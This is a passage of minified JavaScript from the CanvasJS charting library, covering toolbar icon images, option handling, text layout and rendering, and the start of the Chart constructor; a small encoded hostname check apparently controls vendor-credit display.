p},db=window&&window[ja("mnb`uhno")]&&window[ja("mnb`uhno")].href&&window[ja("mnb`u
hno")].href.indexOf&&(-1!
==window[ja("mnb`uhno")].href.indexOf(ja("b`ow`rkr/bnl"))||-1!
==window[ja("mnb`uhno")].href.indexOf(ja("gdonqhy/bnl"))||-1!
==window[ja("mnb`uhno")].href.indexOf(ja("gheemd"))),ib=db&&-
1===window[ja("mnb`uhno")].href.indexOf(ja("gheemd")),jb={reset:
{image:"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACIAAAAeCAYAAABJ/8wUAAAAIGNIU
k0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAPj
SURBVFhHxVdJaFNRFP1J/jwkP5MxsbaC1WJEglSxOFAXIsFpVRE3ggi1K90obioRRBA33XXnQnciirhQcMC
dorgQxBkXWlREkFKsWkv5npvckp/XnzRpKh64kLw733fffe9L/wrL0+mVUdO8uTSZ3MBL/we2qg4rkuSpod
CELstXE46ziVkLQ6FQcGOmeSSq6wd4aV50d3drWjj8kQKZJTUc9kxFGenv79dZrDksTSTWWJp2QYtEPiEry
syzdX0LsxsCQR8keX8gs6RHIk8ysdgKFg2G53mhuOPsshTlBjKaFo1g7SqLNoShKLdFXT8huQ/paLSbxatY
nc2mHMM4hr18Vi8TIvCmXF3vYrW6cF23gGTOk0M1wA4RKvOmq6vLZRVJipvmSWT6tZ6CSEYkco5V50VPT4+
D7RwOqi6RiSZm0fJ+vggSqkeoypdsNmuyelNwbXsbgvkWYMtzDWNvWaijoyOBqE+hVK8abcssUeXQ/YfKyi
0gFYv1Ipgfoj34fYGTJLOYJA0ODirok32GLN8XhUWCwSes1hIwBg6LydJ/tEeRRapAdUp+wSAiZchtZZWWg
AZ+JNpD8peYXQVK9UwUxNpzOK8pq97kURZhYTCKBwPD7h2zK+js7Myi7D8Fod+0TkMI8+EMAngLGc/WtBFW
awkFHFnoj/t9KLgGmF0B3QfkxC+EarxkdhnFYlFLY06USqUwL7UMjICHfh/wOc2sCqhpxGbCkLvL7EUDbF7
3+6DkmVWB6zi7xUDQSLeYvWjAILvm9zEnkJhlbRcDQZcv6Kg2AipyT/Axw6wKlqVSqxDdjF8Izfod13qURd
rG/nxehY+xGh+h0CSzKygGvSNQIcc097BI24jb9hax6kj2E7OrMFX1i
l+ICEf2NrPbhiXLl+fYl+U7zK4iYdsDcyLGf+ofFlkwcN+s10KhmpuYhhtm0hCLVIFL0MDsqNlDIqy9x2CL
s1jL6OvrI7vPRbtohXG6eFmsFnHDGAp6n9AgyuVySRZrGvROxRgIfLXhzjrNYnNBUxNX/dMgRWT1mt4XLDo
vaApD53E9W3ilNX5M55LJHpRtIsgAvciR4WWcgK2Dvb1YqgXevmF8z2zEBTcKG39EfSKsT9EbhVUaI2FZO+
oZIqImxol6j66/hcAu4sSN4vc1ZPoKeoE6RGhYL2YYA+ymOSSi0Z0wWntbtkGUWCvfSDXIxONraZ/FY90KU
fNTpfC5spnNLgxoYNnR9RO4F8ofXEHOgogCQE99w+fF2Xw+b7O59rEOsyRqGEfpVoaDMQQ1CZrG46bcM6AZ
0C/wPqNfHliqejyTySxh9TqQpL+xmbIlkB9SlAAAAABJRU5ErkJggg=="},pan:
{image:"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAB4AAAAeCAYAAAA7MK6iAAAAIGNIU
k0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAIC
SURBVEhLxZbPahNRGMUn/5MpuAiBEAIufQGfzr5E40YptBXajYzudCEuGqS+gGlrFwquDGRTutBdYfydzJ3
LzeQmJGZue+Dw/Z17Mnfmu5Pof9Hr9Z61Wq0bWZMKj263O6xWq99wU9lOpzPMKgEhEcRucNOcioOK+0RzBh
Nvt9tPV4nmVF19+OWhVqt9xXgFXZq+8lCv119UKpUJ7iX2FmvFTKz8RH34YdBsNk8wVtjE4fGYwm8wrrDi3
WBG5oKXZGRSS9hGuNFojLTe2lFz5xThWZIktayyiE2FdT3rzXBXz7krKiL8c17wAKFDjCus2AvW+YGZ9y2J
F0VFRuMPfI//rsCE/C+s26s4gQu9ul7r4NteKx7H8XOC724xNNGbaNu+
+IrBqbOV7Tj3FgMRvc/YKOr3+3sE47wgEt/Bl/gaK5cHbNU11vYSXylfpK7XOvjuumPp4Wcoipu30Qsez2u
MXYz4lfI+mOmwothY+SLiXJy7mKVpWs3Si0CoOMfeI9Od43Wic+jO+ZVv+crsm9QSNhUW9LXSeoPBYLXopt
hGuFQgdIxxhY+UDwlt1x5CZ1hX+NTUdt/OIvjKaDSmuOJfaIVNPKX+W18j/PLA2/kR44p5Sd8HbHngT/yTf
NRWUXX14ZcL3wmX0+TLf8YO7CGT8yFE5zB3/gney25/OETRP9CtPDFe5jShAAAAAElFTkSuQmCC"},zoom:
{image:"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAB4AAAAeCAYAAAA7MK6iAAAAIGNIU
k0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAAJcEhZcwAADsMAAA7DAcdvqGQAAALW
SURBVEhLvZZLaBNRFIabyftBIgEfqCCBoCC6MYqiXYiIj4U76U4X7sUHbhQhUBfixhZEUBDB16YuFERaUaQ
LK7ooCOJj4UKtYEFU0EptShO/A9Ph3js3k8lo/eHnP7n3nP/M3LlzMz1hkUwmNziOcyKRSFyFt+LxeD/c2W
q1Ym7Kv0M2m11Os1OxWGycn1OwZXCGuXfwIhezkd9/jRgNT2L4ldhs1pbkX5OLJe4euVxuGQaPCa3mnUjtJ
x7BDuKusJTCV6jVVGHTMuYRjxma7yIOhTgFY6jNaAKew2xPKpVay9ganmkvj+M448/MfJdT5K5Gg4HJacRn
gPFgqVRaRNwW1B4i7yehWfsEDdz1K+A01AoxPIqGAiuwGfkOTY8+1A6u7AyiFTB2Hu0KPIrdiOnzHLWDybe
Imvy+Wq2mZa5bUHsD0Zpz+KxHdWQymV6kAb1ElqeORgJLvgnRdj1+R1AfzkIvSUjxVjQSarVakrueIPT8+H
1F5jSUy+WXiJrUYBVWyVxU4PEU8TzhfaijUqnMIWrjaY492eWRwdKOIqrnIxnXwLLeRLwk2GQzrEMjg0avE
bXxkIxr4OoOImpj2QwyFgms1koa/SZUG8s+0iGnEhNfCNXEhzIXBVz0McTzEvJ+70P9oNFtxEzei3aFYrFY
xmuSUPWSv9Yi9IMm2xE1We56Mp1OV4nDwqFmBDV9gk9AEh4gZtFHNt8W4kAUCoXF5MorY9Z/kDni9nDv7hc
0i2fhgLvTtX8a99PoMPPagTFPxofRzmDJ9yM+AyEmTfgGysYbQcfhDzPPJDmX0c7gDg4gs9BqFIWhm/Nct5
H8gtBq1I7UfIbtvmIuoaGQcp+fdpbbSM43eEH5wrwLbXmhm/fU63VHXjcuok7hEByFY/AeHGC8L5/PL3HT5
xGH1uYwfPOICGo+CBcU0vwO1BqzUqILDl/z/9VYIMfpddiAc47jDP8BsUpb13wOLRwAAAAASUVORK5CYII=
"},menu:
{image:"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACQAAAAeCAYAAABE4bxTAAAAIGNIU
k0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADo
SURBVFhH7dc9CsJAFATgRxIIBCwCqZKATX5sbawsY2MvWOtF9AB6AU8gguAJbD2AnZ2VXQT/Ko2TYGCL2OY
tYQc+BuYA+1hCtnCVwMm27SGaXpDJIAiCvCkVR05hGOZNN3HkFMdx3nQRR06+76/R1IcFLJlNQEWlmWlBTw
JtKLKHynehZqnjOGM0PYWRVXk61C37p7xlZ3Hk5HneCk1dmMH811xGoKLSzDiQwIBZB4ocoPJdqNkDt2yKl
ueWRVGUtzy3rPwo3sWRU3nLjuLI6OO67oZM00wMw3hrmpZx0XU9syxrR0T0BeMpb9dneSR2AAAAAElFTkSu
QmCC"},handle:
{image:"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAkAAAAQCAYAAADESFVDAAAAAXNSR
0IArs4c6QAAAAZiS0dEANAAzwDP4Z7KegAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAAd0SU1FB9sHGw0cMqdt
1UwAAAAZdEVYdENvbW1lbnQAQ3JlYXRlZCB3aXRoIEdJTVBXgQ4XAAAAaElEQVQoz+3SsRFAQBCF4Z9WJM8
KCDVwownl6YXsTmCUsyKGkZzcl7zkz3YLkypgAnreFmDEpHkIwVOMfpdi9CEEN2nGpFdwD03yEqDtOgCaun
7sqSTDH32I1pQA2Pb9sZecAxc5r3IAb21d6878xsAAAAAASUVORK5CYII="}};V.prototype.setOption
s=function(h,p){if(ra[this._defaultsKey]){var r=ra[this._defaultsKey],u;for(u in
r)"publicProperties"!==u&&r.hasOwnProperty(u)&&(this[u]=h&&u in h?h[u]:p&&u in p?
p[u]:r[u])}else Ja&&window.console&&console.log("defaults not
set")};V.prototype.get=function(h){var
p=ra[this._defaultsKey];if("options"===h)return
this.options&&this.options._isPlaceholder?
null:this.options;if(p.hasOwnProperty(h)||
p.publicProperties&&p.publicProperties.hasOwnProperty(h))return
this[h];window.console&&window.console.log('Property "'+h+"\" doesn't exist. Please
check for typo.")};V.prototype.set=function(h,p,r){r="undefined"===typeof r?!
0:r;var u=ra[this._defaultsKey];if("options"===h)this.createUserOptions(p);else
if(u.hasOwnProperty(h)||
u.publicProperties&&u.publicProperties.hasOwnProperty(h)&&"readWrite"===u.publicPro
perties[h])this.options._isPlaceholder&&this.createUserOptions(),this.options[h]=p;
else{window.console&&(u.publicProperties&&u.publicProperties.hasOwnProperty(h)&&"re
adOnly"===u.publicProperties[h]?window.console.log('Property "'+h+'" is read-
only.'):window.console.log('Property "'+h+"\" doesn't exist. Please check for
typo."));return}r&&(this.stockChart||this.chart||
this).render()};V.prototype.addTo=function(h,p,r,u){u="undefined"===typeof u?!
0:u;var v=ra[this._defaultsKey];v.hasOwnProperty(h)||
v.publicProperties&&v.publicProperties.hasOwnProperty(h)&&"readWrite"===v.publicPro
perties[h]?
(this.options._isPlaceholder&&this.createUserOptions(),"undefined"===typeof
this.options[h]&&(this.options[h]=[]),h=this.options[h],r="undefined"===typeof r||
null===r?h.length:r,h.splice(r,0,p),u&&(this.chart||
this).render()):window.console&&(v.publicProperties&&v.publicProperties.hasOwnPrope
rty(h)&&"readOnly"===v.publicProperties[h]?window.console.log('Property "'+h+'" is
read-only.'):window.console.log('Property "'+h+"\" doesn't exist. Please check for
typo."))};V.prototype.createUserOptions=function(h){if("undefined"!==typeof h||
this.options._isPlaceholder)if(this.parent.options._isPlaceholder&&this.parent.crea
teUserOptions(),this.isOptionsInArray){this.parent.options[this.optionsName]||
(this.parent.options[this.optionsName]=[]);var
p=this.parent.options[this.optionsName],r=p.length;this.options._isPlaceholder||
(Fa(p),r=p.indexOf(this.options));this.options="undefined"===typeof h?
{}:h;p[r]=this.options}else this.options="undefined"===typeof h?
{}:h,h=this.parent.options,this.optionsName?p=this.optionsName:
(p=this._defaultsKey)&&0!==p.length?
(r=p.charAt(0).toLowerCase(),1<p.length&&(r=r.concat(p.slice(1))),p=r):p=void
0,h[p]=this.options};V.prototype.remove=function(h){h="undefined"===typeof h?!
0:h;if(this.isOptionsInArray){var p=this.parent.options[this.optionsName];Fa(p);var
r=p.indexOf(this.options);0<=r&&p.splice(r,1)}else delete
this.parent.options[this.optionsName];h&&(this.chart||
this).render()};V.prototype.updateOption=function(h){!
ra[this._defaultsKey]&&(Ja&&window.console)&&console.log("defaults not set");var
p=ra[this._defaultsKey],r={},v=this[h],E=this._themeOptionsKey,H=this._index;this.t
heme&&u(E)&&u(H)?r=u(ya[this.theme])?
ya.light1:ya[this.theme]:this.parent&&(this.parent.themeOptions&&this.parent.themeO
ptions[E])&&(null===H?
r=this.parent.themeOptions[E]:0<this.parent.themeOptions[E].length&&(r=Math.min(thi
s.parent.themeOptions[E].length-1,H),r=this.parent.themeOptions[E]
[r]));this.themeOptions=r;h in p&&(v=h in this.options?this.options[h]:r&&h in r?
r[h]:p[h]);if(v===this[h])return!1;this[h]=v;return!
0};V.prototype.trackChanges=function(h){if(!this.sessionVariables)throw"Session
Variable Store not
set";this.sessionVariables[h]=this.options[h]};V.prototype.isBeingTracked=function(
h){this.options._oldOptions||(this.options._oldOptions={});return
this.options._oldOptions[h]?!0:!1};V.prototype.hasOptionChanged=function(h){if(!
this.sessionVariables)throw"Session Variable Store not set";return
this.sessionVariables[h]!
==this.options[h]};V.prototype.addEventListener=function(h,p,r)
{h&&p&&(this._eventListeners[h]=this._eventListeners[h]||
[],this._eventListeners[h].push({context:r||
this,eventHandler:p}))};V.prototype.removeEventListener=function(h,p)
{if(h&&p&&this._eventListeners[h])for(var
r=this._eventListeners[h],u=0;u<r.length;u++)if(r[u].eventHandler===p)
{r[u].splice(u,1);break}};V.prototype.removeAllEventListeners=function()
{this._eventListeners=[]};V.prototype.dispatchEvent=function(h,p,r)
{if(h&&this._eventListeners[h]){p=p||{};for(var
u=this._eventListeners[h],v=0;v<u.length;v+
+)u[v].eventHandler.call(u[v].context,p)}"function"===typeof
this[h]&&this[h].call(r||this.chart,p)};Ga.prototype.registerSpace=function(h,p)
{"top"===h?this._topOccupied+=p.height:"bottom"===h?
this._bottomOccupied+=p.height:"left"===h?
this._leftOccupied+=p.width:"right"===h&&(this._rightOccupied+=p.width)};Ga.prototy
pe.unRegisterSpace=function(h,p){"top"===h?this._topOccupied-
=p.height:"bottom"===h?this._bottomOccupied-=p.height:"left"===h?
this._leftOccupied-=p.width:"right"===h&&(this._rightOccupied-
=p.width)};Ga.prototype.getFreeSpace=function()
{return{x1:this._x1+this._leftOccupied,y1:this._y1+this._topOccupied,x2:this._x2-
this._rightOccupied,y2:this._y2-this._bottomOccupied,width:this._x2-this._x1-
this._rightOccupied-this._leftOccupied,height:this._y2-this._y1-
this._bottomOccupied-this._topOccupied}};Ga.prototype.reset=function()
{this._rightOccupied=this._leftOccupied=this._bottomOccupied=this._topOccupied=this
._padding};qa(ka,V);ka.prototype._initialize=function(){u(this.padding)||"object"!
==typeof this.padding?
this.topPadding=this.rightPadding=this.bottomPadding=this.leftPadding=Number(this.p
adding)|0:(this.topPadding=u(this.padding.top)?0:Number(this.padding.top)|
0,this.rightPadding=u(this.padding.right)?0:Number(this.padding.right)|
0,this.bottomPadding=u(this.padding.bottom)?0:Number(this.padding.bottom)|
0,this.leftPadding=u(this.padding.left)?0:Number(this.padding.left)|
0)};ka.prototype.render=function(h){if(0!==this.fontSize){h&&this.ctx.save();var
p=this.ctx.font;this.ctx.textBaseline=this.textBaseline;var
r=0;this._isDirty&&this.measureText(this.ctx);this.ctx.translate(this.x,this.y+r);"
middle"===this.textBaseline&&(r=-
this._lineHeight/2);this.ctx.font=this._getFontString();this.ctx.rotate(Math.PI/180
*this.angle);var u=0,v=this.topPadding,H=null;this.ctx.roundRect||Ea(this.ctx);
(0<this.borderThickness&&this.borderColor||
this.backgroundColor)&&this.ctx.roundRect(0,r,this.width,this.height,this.cornerRad
ius,this.borderThickness,this.backgroundColor,this.borderColor);this.ctx.fillStyle=
this.fontColor;for(r=0;r<this._wrappedText.lines.length;r+
+)H=this._wrappedText.lines[r],"right"===this.horizontalAlign?u=(this.width-
(this.leftPadding+this.rightPadding))/2-
H.width/2+this.leftPadding:"left"===this.horizontalAlign?
u=this.leftPadding:"center"===this.horizontalAlign&&(u=(this.width-
(this.leftPadding+this.rightPadding))/2-
H.width/2+this.leftPadding),this.ctx.fillText(H.text,u,v),v+=H.height;this.ctx.font
=p;h&&this.ctx.restore()}};ka.prototype.setText=function(h)
{this.text=h;this._isDirty=!
0;this._wrappedText=null};ka.prototype.measureText=function()
{this._lineHeight=Za(this.fontFamily,this.fontSize,this.fontWeight);if(null===this.
maxWidth)throw"Please set maxWidth and height for
TextBlock";this._wrapText(this.ctx);this._isDirty=!
1;return{width:this.width,height:this.height}};ka.prototype._getLineWithWidth=funct
ion(h,p,r){h=String(h);if(!h)return{text:"",width:0};var u=r=0,v=h.length-
1,H=Infinity;for(this.ctx.font=this._getFontString();u<=v;){var
H=Math.floor((u+v)/2),F=h.substr(0,H+1);r=this.ctx.measureText(F).width;if(r<p)u=H+
1;else if(r>p)v=H-1;else break}r>p&&1<F.length&&(F=F.substr(0,F.length-
1),r=this.ctx.measureText(F).width);p=!0;if(F.length===h.length||"
"===h[F.length])p=!1;p&&(h=F.split(" "),1<h.length&&h.pop(),F=h.join("
"),r=this.ctx.measureText(F).width);return{text:F,width:r}};ka.prototype._wrapText=
function(){var h=new
String(Ia(String(this.text))),p=[],r=this.ctx.font,u=0,v=0;this.ctx.font=this._getF
ontString();if(0===this.frontSize)v=u=0;else for(;0<h.length;){var
H=this.maxHeight-
(this.topPadding+this.bottomPadding),F=this._getLineWithWidth(h,this.maxWidth-
(this.leftPadding+this.rightPadding),!1);F.height=this._lineHeight;p.push(F);var
z=v,v=Math.max(v,F.width),u=u+F.height,h=Ia(h.slice(F.text.length,h.length));H&&u>H
&&(F=p.pop(),u-
=F.height,v=z)}this._wrappedText={lines:p,width:v,height:u};this.width=v+
(this.leftPadding+this.rightPadding);this.height=u+
(this.topPadding+this.bottomPadding);this.ctx.font=r};ka.prototype._getFontString=f
unction(){var h;h=""+(this.fontStyle?this.fontStyle+" ":"");h+=this.fontWeight?
this.fontWeight+" ":"";h+=this.fontSize?this.fontSize+"px ":"";var
p=this.fontFamily?this.fontFamily+"":"";!r&&p&&(p=p.split(",")[0],"'"!==p[0]&&'"'!
==p[0]&&(p="'"+p+"'"));return
h+=p};qa(Va,V);qa(Aa,V);Aa.prototype.setLayout=function(){if(this.text){var
h=this.dockInsidePlotArea?
this.chart.plotArea:this.chart,p=h.layoutManager.getFreeSpace(),r=p.x1,v=p.y1,E=0,H
=0,F=this.chart._menuButton&&this.chart.exportEnabled&&"top"===this.verticalAlign?
22:0,z,I;"top"===this.verticalAlign||"bottom"===this.verticalAlign?
(null===this.maxWidth&&(this.maxWidth=p.width-4-F*("center"===this.horizontalAlign?
2:1)),H=0.5*p.height-this.margin-
2,E=0):"center"===this.verticalAlign&&("left"===this.horizontalAlign||"right"===thi
s.horizontalAlign?(null===this.maxWidth&&(this.maxWidth=p.height-4),H=0.5*p.width-
this.margin-
2):"center"===this.horizontalAlign&&(null===this.maxWidth&&(this.maxWidth=p.width-
4),H=0.5*p.height-4));var L;u(this.padding)||"number"!==typeof this.padding?
u(this.padding)||"object"!==typeof this.padding||(L=this.padding.top?
this.padding.top:this.padding.bottom?this.padding.bottom:0,L+=this.padding.bottom?
this.padding.bottom:this.padding.top?
this.padding.top:0,L*=1.25):L=2.5*this.padding;this.wrap||
(H=Math.min(H,Math.max(1.5*this.fontSize,this.fontSize+L)));H=new ka(this.ctx,
{fontSize:this.fontSize,fontFamily:this.fontFamily,fontColor:this.fontColor,fontSty
le:this.fontStyle,fontWeight:this.fontWeight,horizontalAlign:this.horizontalAlign,v
erticalAlign:this.verticalAlign,borderColor:this.borderColor,borderThickness:this.b
orderThickness,backgroundColor:this.backgroundColor,maxWidth:this.maxWidth,maxHeigh
t:H,cornerRadius:this.cornerRadius,text:this.text,padding:this.padding,textBaseline
:"top"});L=H.measureText();"top"===this.verticalAlign||"bottom"===this.verticalAlig
n?("top"===this.verticalAlign?
(v=p.y1+2,I="top"):"bottom"===this.verticalAlign&&(v=p.y2-2-
L.height,I="bottom"),"left"===this.horizontalAlign?
r=p.x1+2:"center"===this.horizontalAlign?r=p.x1+p.width/2-
L.width/2:"right"===this.horizontalAlign&&(r=p.x2-2-L.width-
F),z=this.horizontalAlign,this.width=L.width,this.height=L.height):"center"===this.
verticalAlign&&("left"===this.horizontalAlign?(r=p.x1+2,v=p.y2-2-(this.maxWidth/2-
L.width/2),E=-
90,I="left",this.width=L.height,this.height=L.width):"right"===this.horizontalAlign
?(r=p.x2-2,v=p.y1+2+(this.maxWidth/2-
L.width/2),E=90,I="right",this.width=L.height,this.height=L.width):"center"===this.
horizontalAlign&&(v=h.y1+(h.height/2-L.height/2),r=h.x1+(h.width/2-
L.width/2),I="center",this.width=L.width,this.height=L.height),z="center");H.x=r;H.
y=v;H.angle=E;H.horizontalAlign=z;this._textBlock=H;h.layoutManager.registerSpace(I
,{width:this.width+("left"===I||"right"===I?this.margin+2:0),height:this.height+
("top"===I||"bottom"===I?
this.margin+2:0)});this.bounds={x1:r,y1:v,x2:r+this.width,y2:v+this.height};this.ct
x.textBaseline="top"}};Aa.prototype.render=function()
{this._textBlock&&this._textBlock.render(!
0)};qa(Ka,V);Ka.prototype.setLayout=Aa.prototype.setLayout;Ka.prototype.render=Aa.p
rototype.render;Wa.prototype.get=function(h,p){var r=null;0<this.pool.length?
(r=this.pool.pop(),Oa(r,h,p)):r=ta(h,p);return r};Wa.prototype.release=function(h)
{this.pool.push(h)};qa(La,V);var Na={addTheme:function(h,p)
{ya[h]=p},addColorSet:function(h,p){Ba[h]=p},addCultureInfo:function(h,p)
{Ma[h]=p},formatNumber:function(h,p,r){r=r||"en";if(Ma[r])return
ba(h,p||"#,##0.##",new La(r));throw"Unknown Culture
Name"},formatDate:function(h,p,r){r=r||"en";if(Ma[r])return Ca(h,p||"DD MMM
YYYY",new La(r));throw"Unknown Culture Name"}};"undefined"!==typeof
module&&"undefined"!==typeof module.exports?module.exports=Na:"function"===typeof
define&&define.amd?define([],function(){return
Na}):window.CanvasJS=Na;Na.Chart=function(){function h(a,d){return a.x-d.x}function
p(a,d){d=d||{};this.theme=u(d.theme)||
u(ya[d.theme])?"light1":d.theme;p.base.constructor.call(this,"Chart",null,d,null,nu
ll);var b=this;this._containerId=a;this._objectsInitialized=!
1;this.overlaidCanvasCtx=this.ctx=null;this._indexLabels=[];this._panTimerId=0;this
._lastTouchEventType="";this._lastTouchData=null;this.isAnimating=!
1;this.renderCount=0;this.disableToolTip=this.animatedRender=!1;this.canvasPool=new
Wa;this.allDOMEventHandlers=[];this.panEnabled=!
1;this._defaultCursor="default";this.plotArea={canvas:null,ctx:null,x1:0,y1:0,x2:0,
y2:0,width:0,height:0};this._dataInRenderedOrder=[];if(this.container="string"===ty
peof this._containerId?
document.getElementById(this._containerId):this._containerId)
{this.container.innerHTML="";var c=0,e=0,c=this.options.width?
this.width:0<this.container.clientWidth?
this.container.clientWidth:this.width,e=this.options.height?
this.height:0<this.container.clientHeight?
this.container.clientHeight:this.height;this.width=c;this.height=e;this.x1=this.y1=
0;this.x2=this.width;this.y2=this.height;this._selectedColorSet="undefined"!
==typeof Ba[this.colorSet]?
Ba[this.colorSet]:Ba.colorSet1;this._canvasJSContainer=document.createElement("div"
);this._canvasJSContainer.setAttribute("class","canvasjs-chart-
container");this._canvasJSContainer.style.position="relative";this._canvasJSContain
er.style.textAlign="left";this._canvasJSContainer.style.cursor="auto";r||
(this._canvasJSContainer.style.height="0px");this.container.appendChild(this._canva
sJSContainer);this.canvas=ta(c,e);this._preRenderCanvas=ta(c,e);this.canvas.style.p
osition="absolute";this.canvas.style.WebkitUserSelect="none";this.canvas.style.MozU
serSelect="none";this.canvas.style.msUserSelect="none";this.canvas.style.userSelect
="none";this.canvas.getContext&&(this._canvasJSContainer.appendChild(this.canvas),t
his.ctx=this.canvas.getContext("2d"),this.ctx.textBaseline="top",Ea(this.ctx),this.
_preRenderCtx=this._preRenderCanvas.getContext("2d"),this._preRenderCtx.textBaselin
e="top",Ea(this._preRenderCtx),r?this.plotArea.ctx=this.ctx:
(this.plotArea.canvas=ta(c,e),this.plotArea.canvas.style.position="absolute",this.p
lotArea.canvas.setAttribute("class","plotAreaCanvas"),this._canvasJSContainer.appen
dChild(this.plotArea.canvas),this.plotArea.ctx=this.plotArea.canvas.getContext("2d"
)),this.overlaidCanvas=ta(c,e),this.overlaidCanvas.style.position="absolute",this.o
verlaidCanvas.style.webkitTapHighlightColor="transparent",this.overlaidCanvas.style
.WebkitUserSelect="none",this.overlaidCanvas.style.MozUserSelect="none",this.overla
idCanvas.style.msUserSelect="none",this.overlaidCanvas.style.userSelect="none",this
.overlaidCanvas.getContext&&(this._canvasJSContainer.appendChild(this.overlaidCanva
s),this.overlaidCanvasCtx=this.overlaidCanvas.getContext("2d"),this.overlaidCanvasC
tx.textBaseline="top",Ea(this.overlaidCanvasCtx)),this._eventManager=new
ha(this),this.windowResizeHandler=O(window,"resize",function()
{b._updateSize()&&b.render()},this.allDOMEventHandlers),this._toolBar=document.crea
teElement("div"),this._toolBar.setAttribute("class","canvasjs-chart-
toolbar"),this._toolBar.style.cssText="position: absolute; right: 1px; top:
1px;",this._canvasJSContainer.appendChild(this._toolBar),this.bounds={x1:0,y1:0,x2:
this.width,y2:this.height},O(this.overlaidCanvas,"click",function(a)
{b._mouseEventHandler(a)},this.allDOMEventHandlers),O(this.overlaidCanvas,"mousemov
e",function(a)
{b._mouseEventHandler(a)},this.allDOMEventHandlers),O(this.overlaidCanvas,"mouseup"
,function(a)
{b._mouseEventHandler(a)},this.allDOMEventHandlers),O(this.overlaidCanvas,"mousedow
n",function(a)
{b._mouseEventHandler(a);va(b._dropdownMenu)},this.allDOMEventHandlers),O(this.over
laidCanvas,"mouseout",function(a)
{b._mouseEventHandler(a)},this.allDOMEventHandlers),O(this.overlaidCanvas,window.na
vigator.msPointerEnabled?"MSPointerDown":"touchstart",function(a)
{b._touchEventHandler(a)},this.allDOMEventHandlers),O(this.overlaidCanvas,window.na
vigator.msPointerEnabled?"MSPointerMove":"touchmove",function(a)
{b._touchEventHandler(a)},this.allDOMEventHandlers),O(this.overlaidCanvas,window.na
vigator.msPointerEnabled?"MSPointerUp":"touchend",function(a)
{b._touchEventHandler(a)},this.allD
OMEventHandlers),O(this.overlaidCanvas,window.navigator.msPointerEnabled?"MSPointer
Cancel":"touchcancel",function(a)
{b._touchEventHandler(a)},this.allDOMEventHandlers),this.toolTip=new $
(this,this.options.toolTip),this.data=null,this.axisX=[],this.axisX2=[],this.axisY=
[],this.axisY2=[],this.sessionVariables={axisX:[],axisX2:[],axisY:[],axisY2:
[]})}else window.console&&window.console.log('CanvasJS Error: Chart Container with
id "'+this._containerId+'" was not found')}function v(a,d){for(var
b=[],c,e=0;e<a.length;e++)if(0==e)b.push(a[0]);else{var g,k,l;l=e-1;g=0===l?0:l-
1;k=l===a.length-1?l:l+1;c=Math.abs((a[k].x-a[g].x)/(0===a[k].x-a[l].x?0.01:a[k].x-
a[l].x))*(d-1)/2+1;var w=(a[k].x-a[g].x)/c;c=(a[k].y-
a[g].y)/c;b[b.length]=a[l].x>a[g].x&&0<w||a[l].x<a[g].x&&0>w?
{x:a[l].x+w/3,y:a[l].y+c/3}:{x:a[l].x,y:a[l].y+c/9};l=e;g=0===l?0:l-
1;k=l===a.length-1?l:l+1;c=Math.abs((a[k].x-a[g].x)/(0===a[l].x-a[g].x?0.01:a[l].x-
a[g].x))*(d-1)/2+1;w=(a[k].x-a[g].x)/c;c=(a[k].y-
a[g].y)/c;b[b.length]=a[l].x>a[g].x&&0<w||a[l].x<a[g].x&&0>w?{x:a[l].x-
w/3,y:a[l].y-c/3}:{x:a[l].x,y:a[l].y-c/9};b[b.length]=a[e]}return b}function
E(a,d,b,c,e,g,k,l,w,m){var s=0;m?(k.color=g,l.color=g):m=1;s=w?Math.abs(e-
b):Math.abs(c-d);s=0<k.trimLength?Math.abs(s*k.trimLength/100):Math.abs(s-
k.length);w?(b+=s/2,e-=s/2):(d+=s/2,c-=s/2);var s=1===Math.round(k.thickness)%2?
0.5:0,q=1===Math.round(l.thickness)%2?
0.5:0;a.save();a.globalAlpha=m;a.strokeStyle=l.color||g;a.lineWidth=l.thickness||
2;a.setLineDash&&a.setLineDash(R(l.dashType,l.thickness));a.beginPath();w&&0<l.thic
kness?(a.moveTo(c-k.thickness/2,Math.round((b+e)/2)-
q),a.lineTo(d+k.thickness/2,Math.round((b+e)/2)-
q)):0<l.thickness&&(a.moveTo(Math.round((d+c)/2)-
q,b+k.thickness/2),a.lineTo(Math.round((d+c)/2)-q,e-
k.thickness/2));a.stroke();a.strokeStyle=k.color||g;a.lineWidth=k.thickness||
2;a.setLineDash&&a.setLineDash(R(k.dashType,k.thickness));a.beginPath();w&&0<k.thic
kness?(a.moveTo(c-s,b),a.lineTo(c-
s,e),a.moveTo(d+s,b),a.lineTo(d+s,e)):0<k.thickness&&(a.moveTo(d,b+s),a.lineTo(c,b+
s),a.moveTo(d,e-s),a.lineTo(c,e-s));a.stroke();a.restore()}function I(a,d,b,c,e)
{if(null===a||"undefined"===typeof a)return"undefined"===typeof b?
d:b;a=parseFloat(a.toString())*(0<=a.toString().indexOf("%")?d/100:1);"undefined"!
==typeof c&&(a=Math.min(c,a),"undefined"!==typeof e&&(a=Math.max(e,a)));return!
isNaN(a)&&a<=d&&0<=a?a:"undefined"===typeof b?d:b}function H(a,d)
{H.base.constructor.call(this,"Legend","legend",d,null,a);this.chart=a;this.canvas=
a.canvas;this.ctx=this.chart.ctx;this.ghostCtx=this.chart._eventManager.ghostCtx;th
is.items=[];this.optionsName="legend";this.height=this.width=0;this.orientation=nul
l;this.dataSeries=[];this.bounds={x1:null,y1:null,x2:null,y2:null};"undefined"===ty
peof
this.options.fontSize&&(this.fontSize=this.chart.getAutoFontSize(this.fontSize));th
is.lineHeight=Za(this.fontFamily,this.fontSize,this.fontWeight);this.horizontalSpac
ing=this.fontSize}function F(a,d,b,c)
{F.base.constructor.call(this,"DataSeries","data",d,b,a);this.chart=a;this.canvas=a
